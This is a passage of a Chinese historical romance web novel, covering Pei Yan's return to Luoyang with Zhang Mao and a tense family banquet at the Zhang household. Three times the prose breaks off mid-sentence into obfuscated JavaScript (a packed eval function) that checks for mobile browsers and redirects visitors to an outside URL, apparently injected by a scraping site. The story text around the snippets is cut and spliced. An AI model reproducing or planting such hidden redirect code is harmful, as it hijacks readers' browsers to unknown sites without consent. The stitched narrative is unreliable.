那时鄙夷的人,如今再看,竟多了几分同病相怜的意味。 归根结底,她们都在用自己做交换,手心向上,想方设法地朝男人,攫取他们手里的权与势。 君子不器,她们却只能以身为器。 没办法啊!裴妍低头,看向张茂裹着自己的那双大而有力的手。 自三皇五帝始,皇帝是男人,文武百官是男人,就连东西市大一点的掌柜都是男人。从庙堂到江湖,女人在哪? 是女人天生喜欢被豢养在后院,为妻为母,当那没嘴的葫芦么? 可女人们能怎么办? 阿妡满腹诗书,连葑叔祖都曾夸赞,说她的造诣不比两个堂兄差。但她能为官做宰吗? 半夏、定春、容秋一身的好功夫,即便裴池也得甘拜下风。可她们能封侯拜将吗? 还有娘娘,处理国事不比那赵王英明?可世人能接受庸琐的赵王当权,却容不下娘娘主政,天理何在! 张茂似心有灵犀地感受到裴妍的心绪,拿手轻抚她的肩背,柔声宽慰她,“阿妍,不要多想!” “我什么都没想!”她恨恨道。 她只是有些意难平。明明,明明女子也是人,可为什么就因为比男子少了腿间那二两肉,就要被这么区别对待! 而这份不平,男人们压根领会不到,也不屑去领会!他们只会觉得,女人合该如此,千百年来,都是这么过的! 就像张茂,哪怕对她情根深种,但他毕竟是男子,哪怕是次子,也自小受到父亲栽培,被家族寄予厚望。她的烦恼,于他而言,或许只是女儿家的无理取闹! “你不懂!”裴妍幽幽地道。 “怪我不好!”张茂不知道他不懂什么,但他本能地感知到裴妍的心绪很不好。而这份不好,似乎也与他有关。 裴妍抬头看了看他,正对上他那双亮如星子的眸子,里面是浓得化不开的脉脉柔情。 算了!又不是阿茂一个人的错,和他闹什么别扭呢?世道如此,她还能与天下男子为敌么? 既然暂时无解,那就不去想了! 裴妍的郁气似乎消散了些。她重新趴回张茂怀里,甚至贴得更紧了些——平心而论,她其实是感激他的,包括张家。 人心易变,钜鹿郡公府败落后,各路姻亲都避之不及。可张茂却一如既往地护着她。甚至,明知道她的那些小心思,也愿意助她成事。只为了让她的心里,能安定些。 裴妍甚至有些后怕,若当初她和阿兄没有执意恳求母亲把他收进府里,真不知道如今的裴家还能仰仗谁? 她下意识的往他的怀里蹭了蹭。张茂却突然哑了声,深吸口气,将环在腰间的裴妍的一双玉臂往外推了推。 裴妍蹙眉,觉得还是刚才那样舒服些,又赖着往里磨了磨,连脑袋也从贴着他的胸口,划到了小腹处。 张茂无语地望天,脊背僵直,一动也不敢动,心里直呼冤孽——阿妍什么都好,只在这事上不大开窍,每次温存都不注意分寸,倒弄得他不上不下的…… 一行人休整一段时间后,便又起身赶路。 裴妍正想就组建女护卫的事与半夏商议,奈何她却故意躲着她们似的。往往裴妍和容秋刚打马上前,她就快马加鞭,跑到更前面去了。 “半夏这是怎么了?”裴妍有些奇怪地问身边的容秋。 “这还用问!”容秋得意洋洋地抚了抚鬓边的散发,“自是嫉妒我呗!” 裴妍无语地白了她一眼。 张茂在一边看着,无奈地摇摇头,说好的女子之间休戚与共呢?看来阿妍要完全收服半夏,还有好一段路要走。 这是属于裴妍的人,说好要她来管,他不便插手,如何收服人心是门学问,总要她自己去摸索。 出了荡阴,西行三百里,便是洛阳。 一路上,裴妍起初还鬼鬼祟祟的——到了驿站不敢住,白日里官道也不敢走,生怕不小心碰上司马毗。哪怕张茂指着部曲再三保证,即便碰上也不带怕的,可裴妍仍是一副心有余悸的样子,惹得张茂好一阵心疼。 不过几日下来,确实如张茂所言,别说司马毗,连东海王府的部曲都没见到一个。她那被吓破了的胆子才渐渐长了回来,也没那么疑神疑鬼了。 驿馆早被张茂包了场,部曲草草吃完,很有眼头见识地上楼找地方休整去了。半夏也被容秋拉走。偌大个大堂,就余张茂和裴妍俩人。 裴妍有些狐疑地问他:“司马毗素来执拗,你这是用了什么法子,能让他轻易放了我?” 张茂浅啜一口酒,却笑而不答。他此前总喜欢这样。朝堂上的事,或是自己做了什么,只挑他认为需要的讲。 裴妍的眸色却从方才的好奇,渐渐沉了下来。她早该知道张茂的——他看似处处体贴,却总想把她罩在一张自以为安全的大网里,替她遮风挡雨。她只消舒适地躺着,全身心地依赖着他,旁的什么都不用想——他自认这是为她好。殊不知,她最厌恶别人把她当傻子!他这样和司马毗有何区别?无非一个软和些,拿温情做网;一个强横些,拿规矩做缚。都是一丘之貉! 裴妍难得肃了脸色,郑重地与他交涉:“我本来就不聪敏,没有你们那走一步看三步的能耐。你再什么都不与我讲,让我当那什么都不懂的睁眼瞎,这才是害我!” 张茂不意她这样想,有些神色复杂地看向她。他之前总以为只要有他护着,她便能一如过去那样无忧无虑的过活。而今看来,比起他的守护,裴妍更想倚赖她自己——这是他的失职。 可他不得不承认,阿妍长大了,不再是过去浑浑噩噩的小女孩了。 他真不知该喜还是该悲。 张茂沉默了片刻,低头将杯中酒饮尽,这才将事情始末娓娓说与她听。 裴妍这才知道,原来东海王私贩海盐,抢了齐王的生意,于是前几 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15245483|161778||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 日齐王指使手下带着人证,去赵王那里揭发了他们。赵王大怒,趁势将东海王下了大狱。 难怪司马毗不再纠缠自己,原是家里出了事。 “那我姑姑……” “裴妃没事。赵王只拿了东海王一人。”张茂淡淡地道。 裴妍放下心来。不过,怎么事情会那么凑巧?她琢磨了会,试探地问:“里面该不会有你家的手笔吧?” 张茂眼中闪过戏谑:“你猜?” 又来!裴妍白了他一眼。 “那赵王会杀了东海王么?”裴妍神色复杂地望向张茂。 “不会。”张茂如实分析,“赵王欲称帝,正是笼络人心的时候。若不是齐王咄咄逼人,摆出的人证物证齐全,让他推赖不得,只怕东海王连诏狱都不用进。” 他摇头,“盐赋自汉末起就是一笔糊涂账。自来谁强归谁管。东海王私贩海盐,动的只是齐王的油水,关他赵王何事?” 听到此处,裴妍垂下眸子,长长的羽睫颤动,说不上来是庆幸还是失落。庆幸的是,裴妃姑姑不用丧夫,虽说他们夫妻不睦,但名义上依然是荣损与共。失落的是,她阿叔的死,东海王也是伥鬼,这仇却还没法报。 “你觉得后面司马毗会怎么做?”要是能囚东海王一辈子,倒也是桩好事。 “拿钱买命。”张茂给自己又斟上一杯,把玩着酒盏,嘴角上扬,“赵王也好,孙秀也罢,皆是那吞金食银的貔貅,看来这回,东海王府得下血本了!” 裴妍有些失望,原来东海王还能放出来。想起司马毗说起之前为支撑家门四处奔波,不禁又有些为故友惋惜:“辛辛苦苦挣来的家财,何必花在这老匹夫身上?他对姑姑又不好!” 张茂见她眼里竟隐隐泛着心疼,不禁心里一堵,语带讽刺地道:“自作孽,不可活。你道那人证是谁?正是与司马毗订婚的表妹的父亲!他毒死他那无辜的未婚妻的时候,可想到家门会有今日?” 裴妍沉默下来。是了,司马毗和他阿耶一样,都是活该呢!那位素昧蒙面的表妹,才是真正的可怜人! 不知不觉间张茂又多饮了几杯,看向裴妍的目光也灼灼起来,大掌不自禁地握紧裴妍的玉手。 裴妍挣了挣,有些羞涩地瞥向四周,虽然一个人也没有,但毕竟,在外面呢! 张茂却不管,顺势将她拽到面前,竹席跟着皱了起来。他手臂一揽,她就坐到了他的腿上。 “你……” “此次回京,阿妍需低调行事。”张茂沉声道,“若要出行,可扮男装。” 他虽醉酒无状,说的却是正经事。裴妍点头,她也是这样想的。 “钜鹿郡公府耳目众多,阿妍不宜回府。张家于景政坊亦有别业,可暂住些时日。” 裴妍脸上一热,哪有未过门就住夫家去的。 “只是权宜之计罢了。”张茂似看出她的为难,贴着她的耳后,低声道,“赵王要更进一步,今上便是绊脚石。公主与驸马自身难保,更遑论护住你了。” “赵王要杀公主和三哥?” “说不好。不过我既回了京,自不会让赵王得逞。”张茂的额头靠着她的,眼中闪过一抹利芒,似剑出鞘,“这老匹夫,在凉州时便作恶多端,即便不为郡公,我张家也自有一堆烂账要与他清算!” 张茂说这话的时候,并未刻意收敛心绪。裴妍忍不住周身一寒。这样的感觉,在月前他父亲遇刺时,她亦曾感受过。 从前没觉得,今日方明了,原来这就是所谓的杀气! 可她并不感到惧怕,相反,隐隐带着嗜血的狂热。 阿叔,韩芷,还有那素未蒙面却敬仰已久的张司空……她每每想起那些曾经鲜活的生命,却在小人的阴谋中死去,便觉得无比憋屈。若无赵王的血祭奠,她怕午夜梦回,无颜去面对这些逝去的亲友! “对了,有个好消息忘了告诉你!”张茂抵着她的额头,笑道:“裴娴生了,是个大胖丫头!” “啊!”裴妍惊喜地跳起来,“什么时候的事儿?你怎么今日才讲!” “就在前几日,我途经洛阳,回家里换马,恰碰上薛五郎来送喜蛋。”张茂牵着她的手不放,笑道,“这两日事忙,竟忘了与你说。” 79. 今夕别来沧海事,何日语罢暮天钟…… 裴妍又问了孩子的名字长相斤两,甚至裴娴的身体状况,张茂扶额:“那时情势紧急,我担心你还来不及,在门房遇上薛五郎,只来得及与他略寒暄两句,哪里有空闲问这些!”又道:“左不过几日就能回京,到时你亲自去看望她们娘俩好了。” 当然要去的!裴妍点头。 张茂却有些不满地又将她拽回到自己的大腿上。就听他语调柔和,却带着不容抗拒的迫切:“待你出了孝,我就请族老登门,商议我们的婚期。” “别闹!”裴妍推他不得,又听他贸然提到婚事,羞道:“说正事呢!” 张茂点头:“我说的也是正事。你首先要嫁给我,然后我们才能生儿育女呀!” 提到生孩子,裴妍的脸更红了。虽然几天前,俩人还在农家小院里讨论过生儿生女的问题。可那时张茂还清醒着,一本正经的,不像如今这般纠缠在一处,那感觉能一样么? “你……什么时候这么没脸没皮了!” “阿妍”,张茂抱着她不再乱动,灼热的气息带着一丝酒气喷在她的耳后,似是诉苦,又似喟叹:“我已经二十又四了。” 裴妍沉默下来,心里似翻了五味瓶,又酸又软,又甜又苦。她知道,他一直在等她。初时等她长大,如今等她出孝。 与他同龄的大哥、二哥,包括薛翊,都有孩子了,而他,却还没有成亲。这在哪怕是晚婚成风的中原世家里,都是很迟的了。 “要不,你纳个妾吧?”裴妍言不由衷地道,软和里带着无可奈何的酸涩。 不料,张茂却突然将她放开,两只手掌掰过她的肩头,蹙着眉头,上下打量着她:“谁给你出的主意?” 裴妍扭过头去不说话。 张茂将她的头再次掰回来,两只手捧着她的脸颊,额头贴上她的。就听他道:“以后不许再说这话!” 见裴妍眨巴着杏眼,将信将疑地看向他。 张茂郑重地道:“我在你母亲面前,以身家性命起过誓,此生只你一人,不管有无子嗣,均不改其志。我是武将,生死只在转瞬,你莫要咒我!” 这话说得裴妍也紧张起来,赶紧“呸呸呸”几声,又仰起脑袋对着四方虚空连连作揖:“小女刚刚都是混说的,神仙切莫当真!” 张茂忍笑看着,眼里满是宠溺…… 为照顾裴妍的身体,诸人虽是御马好手,却行速不快,直到第八日洛阳城门关闭前,才将将入了城。 裴妍一身男装,脸上涂了半夏给她的脂膏,隐在一众部曲当中,并不显眼。 一行人从东市和几个相邻的街坊间打马穿过。她不动声色地打量着如今的京城——似乎与月前并无多少不同。 那街边的胭脂铺子门口依然车水马龙,贵女如云;那做布庄生意的小厮,依然在门口声嘶力竭地推销新到的蜀锦;还有那个茶楼——以往她和裴妡几个最爱去的地方,如今依然高朋满座,里面丝竹雅乐,好不热闹。 裴妍有些失落。京城的一切似乎并无变化,只有她家倒在了这人声鼎沸之下。 众人行到胡饼铺时,裴妍见到半夏突然离开队伍,往铺子那里而去,显然有事交接。她们却没有停留,径直往凉州刺史府走。 “我们先去见过兄长,回头再送你去景政坊。” 裴妍点头。此次她能轻易脱困,多赖张大郎回护,于情于理,她都该登门致谢。 “还有大娘的重甲,我也该完璧归赵。” 提起长姊,张茂眉眼间露出一丝温软的笑意:“已派人去唐家送信,约摸晚间你便能见到她了。” 夏日的傍晚热意未减,道边人来人往,摩肩接踵。一行人自入城后便放慢脚步,只听雨一人早一步入府报信。故而他们刚入坊门,便有众多凉州刺史府的部曲和仆婢等在那里接引。 前行数里,便远远见到张寔携一干幕僚及家臣等在府门前。 裴妍见张大郎身边站着一位面容昳丽的少妇,一身绛紫襦裙,头梳灵蛇髻,额头涂着一抹鹅黄,见到他们未语先颔首,一副落落大方之态——心知那便是张寔的发妻、张茂的长嫂贾氏了。 张茂扶着裴妍下马,带她与兄嫂见礼。 裴妍还未过门,大家又都是年轻人,倒没多少拘束。 张茂将她托付给大嫂贾氏,叮嘱她道:“你和容秋先随阿嫂去休整,我们晚些见。” 裴妍点头,看向身边的贾氏,浅笑盈盈:“有劳阿嫂。” 于是贾蓁一口一个“妹妹”,笑容可掬地把裴妍往门内引。 裴妍转头,见张茂与张大郎率着一干人等边聊边往另一边的园子而去,想来是外书房的方向。她自己则跟着贾蓁及众仆妇,穿过抄手游廊,跨过二门,往内院而去。 “妹妹不必拘束,家里没有大人,只他们兄弟两个。你有什么想要的,或是下人伺候不得当,直接说与我,也是一样的。”贾蓁边引路边与她说话。 裴妍含笑点头,眸子浮光掠影地自园子里划过。府里比起几年前显然重新整治过——园林东扩不少,院内新开了一方荷花池,池边还造了一座石舫,庭院里随处可见彩绸缎帷,相比之前,雅致许多。再见身边侍奉的仆婢,皆低头趋步,偶然回话不卑不亢,行礼间进退有度,规矩不输世家大族。 “劳烦大嫂。”她客气道,心里却佩服得紧——这位嫂嫂虽出身商贾,治家却很有几分手段。 贾蓁将她引至后院客室。内里笔墨、闲书、热茶、小食皆布置妥当,甚而围屏后的热汤也已备好。 “阿妹且更衣,晚上便在家里用饭。长姊一家也会来。” 裴妍赶紧点头致谢。 贾蓁又留下一干仆婢在外候命,内室交于容秋,自己先去花厅布置。 容秋要伺候裴妍更衣。裴妍却道:“你自去找你那些堂表姊妹说话,我这里不用劳神。” 容秋确有此意,只是裴妍刚来她就走,有些不好意思。 裴妍笑道:“我之前在成都王府都是一个人收拾的,没见有什么不好。你快去快回,说不得,一会宴上还得劳你从旁提点。”容秋和半夏一样,都是张家的家生子,有她在旁边,咨情也方便。 等室内只余她一人,她才长舒口气——以前她不是没有来过张府。那会张大郎还在准备婚事,她却歪缠着兄长带她来府里玩。彼时马夫人也好,张大郎也罢,都只拿她当半大孩子待。她自己也懵懵懂懂的,只觉张府诸人自上而下的宽和热忱,好吃的好玩的也多,比自家有意思多了。 然而如今再来,却是以张家未过门新妇的身份与诸人周旋。又有张家大嫂这么一位贤良有才干的妯娌珠玉在前,她表面不显,其实内里别提有多紧张了。 裴妍的母亲常因自己才干、出身皆不如弟妹王夫人而心有戚戚。裴妍论出身比贾氏强很多,但如今正是家道中落的时候,她深恐自己言行不当,引人笑话。 她又打心里要强,这内里的幽微心思她只愿自己承受,哪怕对着张茂和容秋,都未曾吐露过分毫——叔父虽走了,可她到底还是河东裴氏的女儿,百年门楣,岂可露怯! 裴妍不敢耽搁,草草洗漱一番。头发没敢动,怕短期内干不了,只拿湿帕子擦了擦浮灰,又在外头上了一层头油,不影响见人就好。 浴盆旁边是一副黑漆妆奁,她翻了翻,里面胭脂水粉齐全,且是她用惯的店里出来的。拉开藩屏衣柜,里面是各色绫罗成衣,都是时兴的款式——她再次为张家大嫂的细致入微震惊。 想到张大夫人方才穿的绛紫色襦裙,裴妍的手在桃夭间色裙上顿了顿,到底选了一旁更为素净的兰苕交窬裙。 她对着镜子在两颊略抹了点胭脂,余者皆不用——她深知自己容貌艳丽,今日姑姐和大嫂俱在,她深怕抢了她们的风头,惹人家不高兴。 这时,外面响起了几声不轻不重的敲门声,裴妍一口气提起——这么快就要入宴了?她照照镜子,头发刚被热巾子擦过,现在还乱糟糟的哪! 结果门外传来老仆战战兢兢地禀报声——原是梳头的婆子见裴妍久不叫人进来侍奉,生怕她脸皮薄,想起大夫人的嘱咐,只好壮着胆子毛遂自荐来了。 裴妍舒了口气,看着铜镜里如顶了一头鸟窝的自己,从善如流地把人请了进来——其他的都好说,唯独头发她可梳不了。 那梳头的婆子进门后,望着薄施粉黛的裴妍,犯浑的眼睛珠子禁不住一亮,殷勤地问她可有什么想梳的。 裴妍想了想,道:“简单的堕马髻就好。” 那婆子有些失望——她本想在贵人面前大显身手的,却也不敢置喙,手上拿篦子抹了些桂花香油,便与裴 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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那阿媪接了金珠,脸上略有得色,瞥她一眼,点头道:“大夫人素来不打诳语,你且候着好消息吧!” 内室里,半开的槅窗吹来一丝南风,案上燃了一半的烛火摇了摇,闪烁的光晕打在裴妍织金的襦衫上,似点亮了一袭星子。 裴妍就着烛光,望着镜中的自己,手不自觉地抚上那张花容月貌的脸——她知道外人怎么说她的,猜也能猜到。 京里从不缺长舌妇,相比朝堂事,人们对贵人的后宅似乎更感兴趣。谁家郎主偷了有夫之妇,谁家新妇失了德行,谁家郎君断袖,谁家女郎与人私奔……或有意,或无心,瞬间就能成为诸人茶余饭后的谈资。 当初她阿母被流寇所掳,为避流言,甚至不得不躲到乡下三载,足见人言可畏。 当时她还小,没觉得这里头蜚短流长有多可怕。谁想如今竟轮到自己,做了这无头流言的主角!还是在未来夫君的家里! 她银牙暗咬,一拳锤在案上,该死的司马毗,她恨不能掐死这个始作俑者!然而仔细思量——能把这风吹进内室的,哪里会是外人呢? 另一边,贾蓁在花厅布置妥当,正指使从人去府外候着姑姐的牛车。就见螺青色半袖的老妪趋步到自己身前,朝自己点了点头。 她不动声色的抚了抚鬓发,唇边露出一抹笑意。 原来贾蓁看似不显山不露水,实则深深忌惮裴妍的世家出身与仙容玉貌。 她自己只是凉州商贾之女,哪里能与裴家元娘比肩?她身为家门长媳,出身却远不及次子新妇,这如何能让她不忧心? 尤其如今的张家已是一方大员,说一句凉州土皇帝亦不为过。她生怕张家会学司马家那薄情寡义的景皇帝,将发妻弄死另娶。 故而,自裴妍与张二郎订婚起,她便时常内心惴惴。 幸而,东海王世子给她送了一份大礼——将裴元娘掳走数日。这事在京城传得沸沸扬扬,就是府里也“屡禁不止”,终于让夫君也有所耳闻。如此,一个坏了名声的世家贵女与她这个贤良淑德的商贾之女,也算八斤八两,各安其位了! 她刻意将流言透漏给裴妍,也是让她心里有数——一个德行有亏的贵女,即便出身再高,在夫家,尤其在自己这个长嫂面前,也得矮上三分! 规行矩步,切莫猖狂哪! 80. 婵娟自照最高枝,垂緌流响寂夜时^…… 约摸一炷香的功夫,容秋自外面容光焕发地进来。 裴妍见她身上衣服换了件葱倩的直身裙,头发重新梳拢过,脸上也匀净,知是她的姊妹们帮她收拾过了,不禁有点眼热——亲人在身边就是好,她也有些想裴妡和裴娴啦! 门外有仆妇来请,容秋赶紧扶裴妍去花厅。 本就是家宴,她们到时,诸人已经齐了。 张茂特意在花厅外迎她,引她到自己身边的另一张食案后入座——二人并未成婚,因此没有合席。 裴妍还未过门,诸人只当她是来府里做客的故人之女。 裴妍见张茂的对座是一对中年夫妇。妇人头梳倭堕髻,身量比裴妍还高些,体型丰满壮硕,皮肤与张茂一样白皙,眼神清亮,看人时目光灼灼。虽是女子,却自有横阔气度,心知这便是张家大姐张瑗了。 妇人身边的男子身材微胖,一身石蜜色宽袖儒袍,头戴黑巾儒帽,手持凤羽褚尾,见到她时含笑点头,一派雍容,想来便是那位大姊夫——雍州刺史之子唐熙了。 这次裴妍可以从成都王与司马毗的魔爪中逃出,张大娘的重甲居功至伟。裴妍当即趋步上前,与大姐寒暄见礼。 张瑗凤眼微眯,不动声色地打量了她一会,见这个小女郎虽如传言那般,长相瑰丽,姿色倾城,但言止有度,看人平正,仪态端方,并无半分传言中的轻佻之态,想起京里那些无根之言,不禁为她心疼。 “外物而已,妹妹若喜欢,留着防身就是。” “怎好夺阿姊所爱。”裴妍受之惶惶。 “嗨!”张瑗大气地一摆手,指了指自己,玩笑道:“那还是十年前我在闺中时打着玩的。你看我现在,还塞得进去吗?” 张瑗自生产后便在发福的路上一去不返,她也不以为意,胖点好哇,有肉壮实,拿刀都轻松很多! 她犹嫌不够热络,特意绕过食案,促狭地对她耳语道:“待你过了门就知道,咱老张家,什么兵器宝物没有?区区一套重甲不算什么。你要十套都能给你置办上!” 裴妍秋水般的眸子瞬间一亮,明面上含羞带怯地低下头来,实则心内窃喜——她那还是雏形的女兵卫队,可算是衣甲不愁啦! 裴妍不意张大娘是这样爽朗的性子,先就喜欢上这位英姿飒爽的大姑子来。 上座的贾蓁冷眼瞧着,心里又翻腾出一股无名的酸水——她进门多年,为张家忙前忙后,从无懈怠,却未曾见这位大姑子对自己青眼有加。倒是裴妍一来,张大娘就殷勤上了。 哼,捧高踩低! 可惜了! 贾蓁扶了扶鬓边,河东裴氏虽在,但这位裴元娘却是实打实的罪臣家眷。论起助力,还不及自家呢——他阿耶每年可没少给府里送钱! 席上,张大娘又问起裴妍的住处。 一旁的张茂接口:“景政坊的别院空着,我已派人去收拾,晚间便送元娘过去。” 张瑗点头,如此甚好。 贾蓁听罢,心头骤然一紧。她狐疑地看向身侧的夫君,只见张寔神色淡淡,与一旁的姊夫唐熙说笑,并未理会她。 贾蓁脸色一白,心内不安起来。她身为主母,统管后宅事。前几日张寔特意交代她——二郎不日便要回府,裴家元娘也会同行,要她收拾出一处客院来,好生招待,不可怠慢。他从没与她说过,裴妍要住外面去! 她了解自己的丈夫,心思幽微,从不做无用功夫! 他在试她! 贾蓁惴惴地捂住心口,勉励不让自己失态。她仔细回想,方才,自己照顾裴妍还算周详,任谁也挑不出错来,只除了…… 她急忙侧头,却发现自己的乳媪许氏突然不见了。方才她还在自己身后的! 贾蓁心内更加惶惶,正欲抬手,唤别的婢子去寻人。 “不必找了,”张寔借饮酒之便,抬袖遮面,低声道,“那刁奴与另一个梳头婆子屡范口舌,已被杖毙,以儆效尤。” 贾蓁只觉五雷轰顶,身子止不住打起颤来!那梳头婆子也就罢了,可许氏是她的乳媪,她的心腹!他怎么能,问都不问过她一声,说打杀就打杀了! 张寔抬眸,锐利的眸子若利箭般直指靶心:“夫人有异议?” 贾蓁张了张嘴,到底没敢吱声。 张寔又给她面前的漆盏里斟满酝酒,语调轻柔,却听得贾蓁心惊胆战:“到底是夫人的陪房,为夫擅动夫人的人,理当赔罪!” 贾蓁尽量克制住自己的心绪,抖抖索索地捧起漆盏,回饮了一杯,不料被酒水呛到,狠狠咳了几声,好不容易捂住心口平复下来,再拿眼看向张寔,眸中带着十足的畏与恨。 张寔却就此揭过,继续与堂下的兄弟姊妹谈笑风生,浑似什么也没发生过。 贾蓁狠狠地一掐虎口,将喷薄的泪意硬生生憋了回去。只是,脸上挂着的笑,牵强得比哭还难看——方才,她饮酒之时,分明听张寔森森地道了一句:“多年兄弟情,岂能毁于愚妇之手!” 愚妇?他说哪个?贾蓁借着饮酒,抬袖遮面。这么多年夙兴夜寐不辞劳苦地持家,到头来,就换了这么一句怨怼!就连自小看着她长大的乳媪,也受其牵连,顷刻丧命! 不就是委婉地警告了一下张茂未来的新妇么?谁家新妇初来夫家不要受点磋磨?她身为长嫂,这点体面没有? 织金的袖口挡住眼底恨意,猩红的眼尾射出不忿的余光,缓缓从堂下诸人脸上扫过——张家,何其无情也! 张寔眼角瞥过妻子,知她又想岔了,不免摇头。他在京城主持家业多年,心里门儿清,有些人看似聪敏,实则糊涂,贾蓁是也;而有些人,看似憨顽,实则通透,裴元娘是也。 若张家还是以往的小门小户,贾蓁如此,无伤大雅。可随着家门兴起,安定张氏雄霸西北,贾蓁作为未来主母,不思同力协契,奋楫笃行,反而小性多心,无风起浪,难免让人寒心。 他不是没动过其他心思——这世道,富易妻贵易友,再正常不过。然而,糟糠之妻不下堂,想到妻子这些年与自己同舟共济的情谊,以及为自己生儿育女的辛劳,难免又心软起来。 哎,这事她既悟不了,他只能慢慢教了。张寔准备晚上回去,好好与妻子再说上一说。 另一边,裴妍的位次恰好能看到贾蓁的全貌。她扯扯身边张茂的衣袖,低声问:“大嫂怎么了?” 张茂不以为意,宽袖下粗粝的大掌握上她的,满是薄茧的手指甚而在她的手心里挠了挠。 裴妍不满地瞪他。 张茂不再逗她,看了眼堂上面色惨白的贾蓁,脸上露出一丝鄙夷,却为兄嫂讳,并未直言,而是漫不经心地道:“无事,只是大嫂身边有两个下人,乱嚼舌根,被行了家法罢了。” 裴妍看向贾氏身后,她记得她身边原有个螺青色半袖直裙的老妪,早前在她的房门口也是见过的,如今却不见了人影。 她心里一动,问他:“那两个下人里,不会有一个是梳头的婆子吧?” 张茂不答反问:“如此,可解气了?” 裴妍看向上首言笑晏晏的张寔,不禁感慨:“你大哥笼络人心很有一套。” 她手上一紧,就见身边的张茂突然肃了脸色——裴妍从未见他如此正色过。 就听他道:“父子笃,兄弟睦,夫妇和,家之肥也。阿妍,大哥眼里容不得沙子,我也是。” 这话,既是对裴妍的安抚,亦是变相的告诫。 裴妍却觉得,这兄弟俩有意思得很——都说当面训子,背后教妻。张大郎将将在酒宴上规制了自己的妻子。张茂就来规制她! 仇不隔夜,端的是兄友弟恭! 呵! 不过,裴妍沉默下来,平心而论,自古妯娌难为。她自小目睹母亲与二婶多年龃龉,轮到自己,她自然希望可以和张家大嫂好好相处——前提是,她不犯人。 可张茂还拽着她的手,殷殷地望着她,等着她的回应。 裴妍看了眼上首谈笑自若的张寔,和强颜欢笑的贾氏,想着经此一事,短期内这位大夫人应该不会再为难自己,得饶人处且饶人的道理她还是懂的。 尤其张家大夫人,这么些年将府里打理得紧紧有条,又为张大郎生儿育女, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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裴妍想起司马毗说的“他当初如何设计贾后的,别人照猫画虎,也同样设计他!” 原来,大家都在等——等司马伦迷了心智,等他跨过君臣大防,等他龙袍加身,甚而,等他杀了傻皇帝,那才是,真正动手的时机! “旁的我不管,只我三哥和公主嫂嫂不能出事。你答应过我的!” 张茂回头,黑漆漆的车厢里本看不见什么,可是裴妍的眼睛太亮了,尤其一本正经地与他说话的时候,那双扑闪的眸子好像启明星般,带着结束暗夜的渴望,让人难以忽视。 裴妍眼见着张茂的脸贴了过来,车厢却突然一顿。 “砰”二人的额头撞在了一起。 张茂怒目撩帘。 就听外头的容秋连忙禀报道:“方才差点碰上左卫赵将军的车架,还好两边都收住了。” “赵泉?” 裴妍好奇地问:“这是谁?” “赵王的人。”张茂简明扼要地答道。赵泉本不是人物,但他的表兄王舆却是赵王心腹。 他整整衣衫,正预备外出与之打个招呼。 却听容秋在外边接着道:“那位将军好生客气,二话没说,就避道路边,让咱们先行哪!” “哦?” 裴妍小声问张茂:“你认识他?” 张茂摇头:“素昧平生。” 他心里疑窦丛生。已近子时,一个新晋的将军,居然与自己在人迹罕至的坊间相逢,总觉得太过刻意。 他撩起帘子,见自家车队正从赵家牛车边经过。那牛车蒙得严严实实的,除了驭车的童子,也未见赵泉有下车与自己寒暄的意思。 他放下帘子,眉头紧锁。莫非,是自己想多了?赵泉明显避着自己,这样的偶遇,若真是苦心为之,又有何用处? 裴妍见他拧眉沉思,不禁有些心疼。修长的食指点在她的眉间,一点一点的,将那叠加的皱皮抹匀:“再思虑下去,就要城糟老头了!” 她顺着撩起的窗帘看了眼外边,不以为意地道:“你不是常说兵来将挡水来土掩么?那赵泉若真有旁的心思,后面自然会露马脚的。你又何需忧虑呢?” 一席话虽未能解难,却也算是排忧了。张茂浅笑,点点她的鼻头:“还是元娘通透!是我着相了!” 轺车外,容秋握紧手里的腊丸,听着车里的玩笑声,眉头紧皱,只怕用不了多久,着相的便是元娘啦! 81. 暗亏心事情不堪,毒汁盈头竟谁欢^…… 夜深人静,只轺车上的占风铎颇有韵律的叮咚作响。 略过赵泉那茬,张茂又想故技重施。将将凑近,就听裴妍询问女护卫的事。 “你那七八个武婢,什么时候凑齐?” 张茂一顿,摸摸鼻子,身子又坐直回去。“已经跟家老交代了,最迟后日就将人送来。” 既答应给她,自然不能食言。只是,婢子也是人,总要收整一番。 裴妍点头,想到张瑗说张家最不缺的就是武器装备,于是又道:“我想给她们一人打一身轻甲作防身用,可好?” “你这是武婢还是女将军?平常护院要穿这个?” 裴妍眉梢一挑:“在家里不用,可出去呢?这叫有备无患……” “好好,”张茂莞尔,“都依你!” “还有,我明日想去看看裴娴。” 明日?张茂道:“明日我正好有旁的事,不能陪你。过去的时候千万小心,让听雨护送。” 裴妍浅笑:“这个你放心。半夏的脂膏很管用,只怕裴娴站我面前也认不出来哩,遑论他人。” 说话间,车已行到别院门口。 张茂叹气,倒希望这一路能行得久些。 他送裴妍下车,于别庄门前停下,却不进去:“夜已深,我不方便入内。待明日事了,再来看你。” 裴妍点头。 别院的管事是个微微发福的中年阿媪,早就等在门口,见到张茂与裴妍,利索地上来见礼。 张茂于是将裴妍一行交托与她,今日大家舟车劳顿,一刻不得闲,可得好好休息。 他立在门外,眼见着裴妍窈窕的身影在诸人的拱卫下融入无边的暗夜,这才让人将别庄的大门关上,自己转身回到车里。 这时,拾叔过来禀报道:“二郎,派去东海王府的人回来了,裴妃已收拜帖。” “嗯!”张茂继续闭目养神,右手无意识地抚着腰下香囊——为防夜长梦多,司马毗与裴妍的婚书,他必要拿到手! 